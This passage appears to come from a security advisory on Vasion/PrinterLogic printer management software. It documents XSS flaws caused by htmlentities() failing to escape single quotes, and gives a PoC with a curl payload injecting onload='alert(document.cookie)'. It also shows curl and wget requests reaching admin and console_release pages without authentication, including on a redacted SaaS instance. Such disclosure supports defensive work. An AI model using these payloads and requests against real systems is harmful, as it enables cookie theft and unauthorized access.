<p>The value <code>rs("expiry")</code> comes from <code>$_REQUEST["expiry"]</code>. The value must respect some conditions in <code>_fd()</code> (related to the length on line 90, not shown) to exploit the XSS on line 253.</p>
<p>An incorrect value will be shown without being escaped using <code>die()</code>, allowing the XSS on line 117. It is recommended to escape the value of <code>rs("expiry")</code> on line 253 and to patch the line 117.</p>
<p>In other parts of the files, there are also XSS because the PHP code used <code>htmlentities()</code> to escape HTML. It is still possible to inject single quotes and add JavaScript. For example, in lines 261 and 289.</p>
<p>XSS in <code>license_gen.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
<span style="color: #666666">261</span>         <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">&quot;&lt;input type=&#39;hidden&#39; value=&#39;&quot;</span><span style="color: #666666">.</span><span style="color: #008000">htmlentities</span>(rs(<span style="color: #BA2121">&#39;expiry&#39;</span>))<span style="color: #666666">.</span><span style="color: #BA2121">&quot;&#39; name=&#39;confirm&#39; /&gt;&quot;</span>;
[<span style="color: #666666">...</span>]
<span style="color: #666666">289</span> <span style="color: #666666">&lt;</span>input name<span style="color: #666666">=</span><span style="color: #BA2121">&quot;expiry&quot;</span> type<span style="color: #666666">=</span><span style="color: #BA2121">&quot;text&quot;</span> value<span style="color: #666666">=</span><span style="color: #BA2121">&quot;&lt;?php echo htmlentities(fd(rs(&#39;expiry&#39;))); ?&gt;&quot;</span> <span style="color: #666666">/&gt;&lt;</span>br <span style="color: #666666">/&gt;</span>
[<span style="color: #666666">...</span>]
</pre></div>

<p>A PoC has been provided using the PHP code from <code>license_gen.php</code>:</p>
<p>Content of <code>test.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
  <span style="color: #666666">2</span>  <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">rs</span>(<span style="color: #19177C">$n</span>,<span style="color: #19177C">$def</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;&quot;</span>,<span style="color: #19177C">$n2</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;&quot;</span>) {
  <span style="color: #666666">3</span>         <span style="color: #008000; font-weight: bold">if</span>(<span style="color: #666666">!</span><span style="color: #008000">isset</span>(<span style="color: #19177C">$_REQUEST</span>[<span style="color: #19177C">$n</span>])) {
  <span style="color: #666666">4</span>                 <span style="color: #008000; font-weight: bold">if</span>(<span style="color: #008000; font-weight: bold">empty</span>(<span style="color: #19177C">$n2</span>)<span style="color: #666666">||</span>(<span style="color: #666666">!</span><span style="color: #008000">isset</span>(<span style="color: #19177C">$_REQUEST</span>[<span style="color: #19177C">$n2</span>]))) {
  <span style="color: #666666">5</span>                         <span style="color: #008000; font-weight: bold">return</span> <span style="color: #19177C">$def</span>;
  <span style="color: #666666">6</span>                 } <span style="color: #008000; font-weight: bold">else</span> <span style="color: #008000; font-weight: bold">return</span> <span style="color: #19177C">$_REQUEST</span>[<span style="color: #19177C">$n2</span>];
  <span style="color: #666666">7</span>         }  <span style="color: #008000; font-weight: bold">else</span> <span style="color: #008000; font-weight: bold">return</span> <span style="color: #19177C">$_REQUEST</span>[<span style="color: #19177C">$n</span>];
  <span style="color: #666666">8</span>  }
  <span style="color: #666666">9</span> 
 <span style="color: #666666">10</span>         <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">&quot;&lt;input type=&#39;hidden&#39; value=&#39;&quot;</span><span style="color: #666666">.</span><span style="color: #008000">htmlentities</span>(rs(<span style="color: #BA2121">&#39;expiry&#39;</span>))<span style="color: #666666">.</span><span style="color: #BA2121">&quot;&#39; name=&#39;confirm&#39; /&gt;&quot;</span>;
 <span style="color: #666666">11</span> 
 <span style="color: #666666">12</span> <span style="color: #BC7A00">?&gt;</span>
</pre></div>

<p>When <code>bla'%20onload='alert(document.cookie)</code> is injected, there is a XSS:</p>
<pre><code>kali% curl "http://127.0.0.1/test.php?expiry=bla'%20onload='alert(document.cookie)"
&lt;input type='hidden' value='bla' onload='alert(document.cookie)' name='confirm' /&gt;
</code></pre>
<p><code>license_gen.php</code> contains 13 XSS with <code>htmlentitites()</code>.</p>
<p>The script also works and provides valid licenses:</p>
<p><img alt="" src="images/2025-vasion-report-1-keygen-02.png" /></p>
<p><a href="images/2025-vasion-report-1-keygen-02-full.png">Click here for full image</a></p>
<p>An attacker may use this license generator file to steal cookies of administrators.</p>
<p><a id="va-incorrect-acl-php"></a></p>
<h2>Details - Incorrect Access Control to PHP webpages allowing to reach printers</h2>
<p>A huge number of webpages are directly reachable outside regular PHP routes.</p>
<p>This allows an attacker to bypass authentication mechanism.</p>
<p>For example, <code>http://target/admin/design/role_description.php</code> is freely reachable:</p>
<pre><code>kali% curl http://10.105.0.241/admin/design/role_description.php
&lt;div style="margin: 8px;"&gt;      
&lt;h1&gt;Administrative Roles&lt;/h1&gt;
&lt;h2&gt;Root&lt;/h2&gt;
&lt;h3&gt;The root user has all permissions.&lt;/h3&gt;
&lt;br /&gt;
&lt;h2&gt;Administrator:&lt;/h2&gt;
&lt;h3&gt;Administrators have all permissions except permission to change the root user password.&lt;/h3&gt; 
&lt;br /&gt;
&lt;h2&gt;Manager:&lt;/h2&gt;
&lt;h3&gt;Managers have permissions to do the following:&lt;/h3&gt; 
&lt;ul&gt;&lt;li&gt;View and export all print job audit records.&lt;/li&gt;
&lt;li&gt;Add, delete, and edit printer objects the user has been given permission to manage&lt;/li&gt;
&lt;li&gt;Add, delete, and edit folder objects the user has been given permission to manage&lt;/li&gt;
&lt;li&gt;Edit printer General, Port, Drivers, Deploy, Portal Security settings&lt;/li&gt;
&lt;li&gt;Edit folder General and Portal Security tab settings&lt;/li&gt;
&lt;li&gt;Add drivers to the driver/profile repository&lt;/li&gt;
&lt;li&gt;Delete drivers from the driver/profile repository if the driver is only associated to printers the user has been given permission to manage&lt;/li&gt;
&lt;li&gt;Replace drivers in the driver/profile repository if the driver is only associated to printers the user has been given permission to manage&lt;/li&gt;
&lt;li&gt;Add profiles to the driver/profile repository&lt;/li&gt;
&lt;li&gt;Delete profiles from the driver/profile repository if the profile is only associated to printers the user has been given permission to manage&lt;/li&gt;
&lt;li&gt;Edit profiles in the driver/profile repository if the profile is only associated to printers the user has been given permission to manage&lt;/li&gt;
&lt;li&gt;Add, delete, and edit IP address range objects the user has been given permission to manage&lt;/li&gt;
&lt;li&gt;Edit IP Address range General and Deploy tab settings&lt;/li&gt;&lt;/ul&gt; 
&lt;br /&gt;
&lt;h2&gt;Deployer:&lt;/h2&gt;
&lt;h3&gt;Deployers have permissions to do the following:&lt;/h3&gt;
&lt;ul&gt;&lt;li&gt;Edit deploy tab settings of printer or IP address range objects the user has been given permission to manage&lt;/li&gt;&lt;/ul&gt;
&lt;/div&gt; 
kali%
</code></pre>
<p>Other pages will provide path disclosure, e.g. <code>/console_release/km/OpenAPI.php</code>:</p>
<pre><code>kali% curl http://10.105.0.241/console_release/km/OpenAPI.php
&lt;br /&gt;
&lt;b&gt;Warning&lt;/b&gt;:  Use of undefined constant ABSPATH - assumed 'ABSPATH' (this will throw an Error in a future version of PHP) in &lt;b&gt;/var/www/app/public/console_release/km/OpenAPI.php&lt;/b&gt; on line &lt;b&gt;3&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Warning&lt;/b&gt;:  require_once(ABSPATHlib/dao/my_sql/data_access.php): failed to open stream: No such file or directory in &lt;b&gt;/var/www/app/public/console_release/km/OpenAPI.php&lt;/b&gt; on line &lt;b&gt;3&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Fatal error&lt;/b&gt;:  require_once(): Failed opening required 'ABSPATHlib/dao/my_sql/data_access.php' (include_path='.:/usr/local/lib/php') in &lt;b&gt;/var/www/app/public/console_release/km/OpenAPI.php&lt;/b&gt; on line &lt;b&gt;3&lt;/b&gt;&lt;br /&gt;
</code></pre>
<p>When reaching some pages, we can get PHP errors in the appliance - some code is executed because there is no authentication but there are PHP errors (undefined variables) during the execution. Some of the code is supposed to be included in other PHP files.</p>
<p>Testing reachable PHP files in the <code>/admin/design/reports</code> directory:</p>
<pre><code>kali% for i in chart_image.php global.php overview_application_usage.php overview_color.php overview_environmental.php overview_main.php overview_page_count.php overview_paper_size.php overview_popup.php overview_pull_printing.php overview_summary.php overview_time_of_day.php overview_total_per_week.php print_job_folder.php print_job_others.php print_job_records.php print_job_user_manager_department_printer.php; do wget http://10.105.0.241/admin/design/reports/$i;done
</code></pre>
<p>Some PHP errors will be produced on the server:</p>
<pre><code>Feb  1 01:06:46 printerlogic va/printercloud_pi.1.6x121o9j76phpwxma6fzk3ga3[1398]: 2022/02/01 01:06:46 [error] 98#98: *81 FastCGI sent in stderr: "PHP message: [2022-02-01 01:06:46] production.ERROR: {"instance":"10.105.0.241","dbname":"app_pi","dbhost":"mysql","originator":"http:\/\/10.105.0.241\/admin\/design\/reports\/overview_application_usage.php","route":"admin\/{dir1?}\/{dir2?}\/{dir3?}\/{dir4?}\/{dir5?}"} [dd.trace_id=4753636673719875765 dd.span_id=4753636673719875765] array_shift() expects parameter 1 to be array, null given {"exception":"[object] (ErrorException(code: 0): array_shift() expects parameter 1 to be array, null given at /var/www/app/admin/design/reports/overview_application_usage.php:12)"} []
Feb  1 01:06:46 printerlogic va/printercloud_pi.1.6x121o9j76phpwxma6fzk3ga3[1398]: PHP message: [2022-02-01 01:06:46] production.ERROR: {"instance":"10.105.0.241","dbname":"app_pi","dbhost":"mysql","originator":"http:\/\/10.105.0.241\/admin\/design\/reports\/overview_application_usage.php","route":"admin\/{dir1?}\/{dir2?}\/{dir3?}\/{dir4?}\/{dir5?}"} [dd.trace_id=4753636673719875765 dd.span_id=4753636673719875765] array_shift() expects parameter 1 to be array, null given {"exception":"[object] (ErrorException(code: 0): array_shift() expects parameter 1 to be array, null given at /var/www/app/admin/design/reports/overview_application_usage.php:12)"} []" while reading response header from upstream, client: 172.17.130.44, server: ~^(?&lt;subdomain&gt;[^.]+)\..*$, request: "GET /admin/design/reports/overview_application_usage.php HTTP/1.1", upstream: "fastcgi://unix:/var/run/php-fpm.sock:", host: "10.105.0.241"
Feb  1 01:06:46 printerlogic va/printercloud_pi.1.6x121o9j76phpwxma6fzk3ga3[1398]: 2022/02/01 01:06:46 [error] 98#98: *81 FastCGI sent in stderr: "PHP message: [2022-02-01 01:06:46] production.ERROR: {"instance":"10.105.0.241","dbname":"app_pi","dbhost":"mysql","originator":"http:\/\/10.105.0.241\/admin\/design\/reports\/overview_color.php","route":"admin\/{dir1?}\/{dir2?}\/{dir3?}\/{dir4?}\/{dir5?}"} [dd.trace_id=4795729321180279321 dd.span_id=4795729321180279321] array_shift() expects parameter 1 to be array, null given {"exception":"[object] (ErrorException(code: 0): array_shift() expects parameter 1 to be array, null given at /var/www/app/admin/design/reports/overview_color.php:12)"} []
Feb  1 01:06:46 printerlogic va/printercloud_pi.1.6x121o9j76phpwxma6fzk3ga3[1398]: PHP message: [2022-02-01 01:06:46] production.ERROR:
[...]
</code></pre>
<p>The <code>console_release</code> directory completely lacks authentication in several webpages:</p>
<pre><code>kali% curl -k 'http://10.105.0.241/console_release/common/validate_user.php?license_check=1&amp;printerId=4'

[{"pull_printer":null,"global_pull_printer":0,"app_installed":null,"secure_release":null,"ldap_rfid":"0","global_secure_release":0,"full_binding":0,"binding":1}]
</code></pre>
<p>This can be verified in the SaaS version of Printerlogic:</p>
<pre><code>kali% curl -kv 'https://[redacted].printercloud10.com/console_release/common/validate_user.php?license_check=1&amp;printerId=4'

[{"pull_printer":null,"global_pull_printer":"0","app_installed":null,"secure_release":null,"ldap_rfid":"0","global_secure_release":"0","full_binding":1,"binding":0}]
</code></pre>
<p>These pages are also freely available in the SaaS version, for example, it is possible to retrieve all the versions of Docker instances without authentication by visiting <code>https://[redacted].printercloud10.com/admin/design/management_accountts_serverinfo.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>kali% curl -kv https://[redacted].printercloud10.com/admin/design/management_accountts_serverinfo.php | grep server-info 
    &lt;<span style="color: #008000; font-weight: bold">div</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;server-info-head&quot;</span>&gt;
        &lt;<span style="color: #008000; font-weight: bold">table</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;server-info-about-header default-table&quot;</span>&gt;
                        &lt;<span style="color: #008000; font-weight: bold">div</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;server-info-version&quot;</span>&gt;Version&lt;/<span style="color: #008000; font-weight: bold">div</span>&gt;
                        &lt;<span style="color: #008000; font-weight: bold">div</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;server-info-release&quot;</span>&gt;Released&lt;/<span style="color: #008000; font-weight: bold">div</span>&gt;
                &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">width</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;60%&quot;</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;server-info-pad-prem&quot;</span>&gt;Windows&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">width</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;20%&quot;</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;server-info-pad-pc&quot;</span>&gt;25.0.0.587&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;server-info-pad-prem&quot;</span>&gt;Mac OS X&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;server-info-pad-pc&quot;</span>&gt;25.1.0.556&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;server-info-pad-prem&quot;</span>&gt;Linux (Debian/Ubuntu)&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;server-info-pad-pc&quot;</span>&gt;25.1.0.556&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;server-info-pad-prem&quot;</span>&gt;Red Hat Linux&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;server-info-pad-pc&quot;</span>&gt;25.1.0.556&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                    &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;server-info-pad-prem&#39;</span>&gt;API Gateway Microservice&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                    &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;server-info-pad-pc&#39;</span>&gt;1.212.2&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                    &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;server-info-pad-prem&#39;</span>&gt;Authentication Microservice&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                    &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;server-info-pad-pc&#39;</span>&gt;1.0.268&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                    &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;server-info-pad-prem&#39;</span>&gt;Badge Reader Microservice&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                    &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;server-info-pad-pc&#39;</span>&gt;1.0.62&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                    &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;server-info-pad-prem&#39;</span>&gt;Control Panel Platform UI&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                    &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;server-info-pad-pc&#39;</span>&gt;1.81.3&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                    &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;server-info-pad-prem&#39;</span>&gt;External Badge Connector Microservice&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                    &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;server-info-pad-pc&#39;</span>&gt;1.0.34&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                    &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;server-info-pad-prem&#39;</span>&gt;IDP Integrations Microservice&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                    &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;server-info-pad-pc&#39;</span>&gt;1.0.6&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                    &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;server-info-pad-prem&#39;</span>&gt;Identity Microservice&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                    &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;server-info-pad-pc&#39;</span>&gt;v1.0.88&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                    &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;server-info-pad-prem&#39;</span>&gt;Print Queue Microservice&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                    &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;server-info-pad-pc&#39;</span>&gt;5.0.124&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                    &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;server-info-pad-prem&#39;</span>&gt;PrinterInstaller&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                    &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;server-info-pad-pc&#39;</span>&gt;5.0.6607&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                    &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;server-info-pad-prem&#39;</span>&gt;QMS Microservice&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                    &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;server-info-pad-pc&#39;</span>&gt;1.0.124&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                    &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;server-info-pad-prem&#39;</span>&gt;SCIM Microservice&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                    &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;server-info-pad-pc&#39;</span>&gt;1.0.9&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                    &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;server-info-pad-prem&#39;</span>&gt;Snmp Custom Data Microservice&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                    &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;server-info-pad-pc&#39;</span>&gt;N/A&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                    &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;server-info-pad-prem&#39;</span>&gt;Tree Microservice&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                    &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;server-info-pad-pc&#39;</span>&gt;1.0.57&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                    &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;server-info-pad-prem&#39;</span>&gt;User Microservice&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                    &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;server-info-pad-pc&#39;</span>&gt;5.188.0&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                    &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;server-info-pad-prem&#39;</span>&gt;API Keys UI&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                    &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;server-info-pad-pc&#39;</span>&gt;0.1.4&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                    &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;server-info-pad-prem&#39;</span>&gt;QR Code UI&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                    &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;server-info-pad-pc&#39;</span>&gt;0.1.5&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                    &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;server-info-pad-prem&#39;</span>&gt;Quota Management UI&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
                    &lt;<span style="color: #008000; font-weight: bold">td</span> <span style="color: #7D9029">class</span><span style="color: #666666">=</span><span style="color: #BA2121">&#39;server-info-pad-pc&#39;</span>&gt;1.1.187&lt;/<span style="color: #008000; font-weight: bold">td</span>&gt;
</pre></div>

<p>The <code>console_release</code> directory also contains multiple pages reachable without authentication:</p>
<p><img alt="" src="images/2025-vasion-report-1-release-01.png" />
http://10.105.0.241/console_release/toshiba/console.php?printer_id=1</p>
<p><img alt="" src="images/2025-vasion-report-1-release-02.png" />
http://10.105.0.241/console_release/xerox/console.php?printer_id=1</p>
<p><img alt="" src="images/2025-vasion-report-1-release-04.png" />
http://10.105.0.241/console_release/samsung/console.php?printer_id=1</p>
<p><img alt="" src="images/2025-vasion-report-1-release-03.png" />
http://10.105.0.241/console_release/km/console.php?printer_id=1</p>
<p>When reading codes inside <code>console_release</code>, it is clear that the PHP code doesn't implement authentication:</p>
<p>Content of <code>/var/www/app/console_release/toshiba/change_screens.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
  <span style="color: #666666">2</span> 
  <span style="color: #666666">3</span> <span style="color: #008000; font-weight: bold">namespace</span> console_release\toshiba;
  <span style="color: #666666">4</span> 
  <span style="color: #666666">5</span> <span style="color: #008000; font-weight: bold">use</span> Illuminate\Support\Facades\Log;
  <span style="color: #666666">6</span> <span style="color: #008000; font-weight: bold">use</span> PrinterLogic\Models\Printer;
  <span style="color: #666666">7</span> 
  <span style="color: #666666">8</span> <span style="color: #008000; font-weight: bold">require_once</span>(<span style="color: #BA2121">&quot;global.php&quot;</span>);
  <span style="color: #666666">9</span> <span style="color: #008000; font-weight: bold">require_once</span>(ABSPATH <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;console_release/toshiba/toshiba_soap_helper.php&quot;</span>);
 <span style="color: #666666">10</span> 
 <span style="color: #666666">11</span> <span style="color: #19177C">$printer_id</span> <span style="color: #666666">=</span> requestint(<span style="color: #BA2121">&#39;printer_id&#39;</span>, <span style="color: #666666">0</span>);
 <span style="color: #666666">12</span> <span style="color: #19177C">$token</span> <span style="color: #666666">=</span> <span style="color: #008000">urldecode</span>(<span style="color: #008000">base64_decode</span>(requeststr(<span style="color: #BA2121">&#39;token&#39;</span>, <span style="color: #BA2121">&#39;&#39;</span>)));
 <span style="color: #666666">13</span> <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$printer_id</span> <span style="color: #666666">!=</span> <span style="color: #666666">0</span> <span style="color: #666666">&amp;&amp;</span> <span style="color: #19177C">$token</span> <span style="color: #666666">!=</span> <span style="color: #BA2121">&#39;&#39;</span>) {
 <span style="color: #666666">14</span>     <span style="color: #008000; font-weight: bold">try</span> {
 <span style="color: #666666">15</span>         <span style="color: #19177C">$printer</span> <span style="color: #666666">=</span> Printer<span style="color: #666666">::</span><span style="color: #7D9029">where</span>(<span style="color: #BA2121">&#39;id&#39;</span>, <span style="color: #19177C">$printer_id</span>)<span style="color: #666666">-&gt;</span><span style="color: #7D9029">first</span>();
 <span style="color: #666666">16</span>         <span style="color: #19177C">$select_screen_response</span> <span style="color: #666666">=</span> select_screen(<span style="color: #19177C">$printer</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">host_address</span>, <span style="color: #19177C">$token</span>, <span style="color: #BA2121">&quot;Menu&quot;</span>);
 <span style="color: #666666">17</span>         Log<span style="color: #666666">::</span><span style="color: #7D9029">debug</span>(<span style="color: #BA2121">&quot;Toshiba change_screens, select_screen_response = &quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$select_screen_response</span>);
 <span style="color: #666666">18</span>         <span style="color: #19177C">$parser</span> <span style="color: #666666">=</span> <span style="color: #008000">xml_parser_create</span>();
 <span style="color: #666666">19</span>         <span style="color: #008000">xml_parse_into_struct</span>(<span style="color: #19177C">$parser</span>, <span style="color: #19177C">$select_screen_response</span>, <span style="color: #19177C">$vals</span>, <span style="color: #19177C">$index</span>);
 <span style="color: #666666">20</span>         <span style="color: #008000">xml_parser_free</span>(<span style="color: #19177C">$parser</span>);
 <span style="color: #666666">21</span>         Log<span style="color: #666666">::</span><span style="color: #7D9029">debug</span>(<span style="color: #008000">print_r</span>(<span style="color: #19177C">$vals</span>, <span style="color: #008000; font-weight: bold">true</span>));
 <span style="color: #666666">22</span>         Log<span style="color: #666666">::</span><span style="color: #7D9029">debug</span>(<span style="color: #008000">print_r</span>(<span style="color: #19177C">$index</span>, <span style="color: #008000; font-weight: bold">true</span>));
 <span style="color: #666666">23</span> 
 <span style="color: #666666">24</span>         <span style="color: #19177C">$logout_result</span> <span style="color: #666666">=</span> logout(<span style="color: #19177C">$printer_id</span>, <span style="color: #19177C">$token</span>);
 <span style="color: #666666">25</span>         Log<span style="color: #666666">::</span><span style="color: #7D9029">debug</span>(<span style="color: #BA2121">&quot;Toshiba change_screens, logout result:&quot;</span>);
 <span style="color: #666666">26</span>         Log<span style="color: #666666">::</span><span style="color: #7D9029">debug</span>(<span style="color: #008000">print_r</span>(<span style="color: #19177C">$logout_result</span>, <span style="color: #008000; font-weight: bold">true</span>));
 <span style="color: #666666">27</span>         <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">isset</span>(<span style="color: #19177C">$index</span>[<span style="color: #BA2121">&#39;SOAP-ENV:FAULT&#39;</span>]) <span style="color: #666666">&amp;&amp;</span> <span style="color: #008000">isset</span>(<span style="color: #19177C">$index</span>[<span style="color: #BA2121">&#39;EXC:DESCRIPTION&#39;</span>])) {
